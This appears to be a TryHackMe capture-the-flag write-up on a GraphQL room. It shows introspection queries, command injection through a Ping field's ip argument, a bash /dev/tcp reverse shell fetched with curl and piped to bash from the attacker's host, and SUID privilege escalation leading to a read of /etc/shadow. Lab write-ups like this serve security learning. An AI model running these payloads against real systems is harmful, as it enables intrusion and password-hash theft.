GraphQL – TryHackMe Writeup

GraphQL is a room which gives a detailed explanation on how we could utilize GraphQL for exploitation. In this writeup I will just explain the process to solve the final challenge since it’s the summary of all learned topics.

The challenge is to get the hash of the user ‘para’, which means we need to obtain access to the machine and then escalate privileges to root in order to read shadow file.

In this case I’ll will not enumerate the machine, since we are told the machine is just a GraphIQL instance. So, I will just started the machine, accessed the given IP, and we are ready to go.

As explained in the room, the first thing we have to do is to extract sensitive information. To enumerate the endpoints, we can do that with the following query:

{
  __schema{
    types{
      name
      description
    }
  }
}

After run above code in GraphIQL interface we found the following interesting endpoint:

GraphQL endpoints.

It could be an endpoint to execute ping command, but let’s further check which fields it has, with the following query:

{
  __type(name: "Ping"){
    fields{
      name
    }
  }
}

We got the fields showed in image below:

Ping endpoint fields.

Now, we can almost sure this is a ping endpoint. To check if it is working fine we could send an IP and what it returns, this could be done to localhost as follows:

{
  Ping(ip: "127.0.0.1"){
    output
  }
}

We got the following output:

Ping to localhost.

We see this is working as expected. Next thing we could try is to inject any other command, it his case I used ls as follows:

{
  Ping(ip: "127.0.0.1;ls"){
    output
  }
}

We got the following output:

Injecting command to endpoint.

As we can see in image above, the output shows something different, there are some files and folders at the end. This means that we can inject commands.

What I will try to do is to get a reverse shell. For that I will share a file with the following content over HTTP, and I will try to execute it:

#!/bin/bash
bash -i >& /dev/tcp/<LOCAL IP>/<PORT> 0>&1

I saved the file as reverse.sh and then I started a HTTP server with python with the following command:

$ python -m SimpleHTTPServer 80

Also, in another terminal in my local machine I started a listener in the chosen port with netcat:

$ nc -nlvp <PORT>

Finally, to get the reverse shell, I just need to call the script (reverseh.sh) and execute it. To do that I will use curl to retrieve the script and pipe the output to bash to execute the code as follows:

{
  Ping(ip: "127.0.0.1;curl http://<LOCAL IP>/reverse.sh | bash"){
    output
  }
}

The output from GraphIQL show stuck at loading, but checking in our netcat listener we should received the shell:

Receiving reverse shell.

What we have to do here is to enumerate the machine to find a way to escalate our privileges. After looking around, we could realize current user has permissions to run as root the following command:

Sudo permissions.

Although we could try to search on internet about how to execute commands from a node script, we already have an example on the script we can run as sudo (server.js).

Then, what I will do is to add SUID to ‘/bin/bash‘ executable, which I will use to escalate privileges. Adding the following line to the script should do the work:

exec.execSync("chmod +s /bin/bash");

Next, we just need to execute the script, we should already know what command to use:

$ sudo /usr/bin/node /home/para/server.js

It shows some errors after executing last command, but this is due to the lack of validation in the command we inserted.

Anyways, if we check the permissions of /bin/bash executable, these should had been changed:

SUID was added to /bin/bash executable.

Finally, we can escalate our privileges with the following command, which you can find in GTFOBins:

bash -p

We are now root and we can read any file, for example /etc/shadow:

Reading shadow file.

Finally, we got hash of user ‘para’.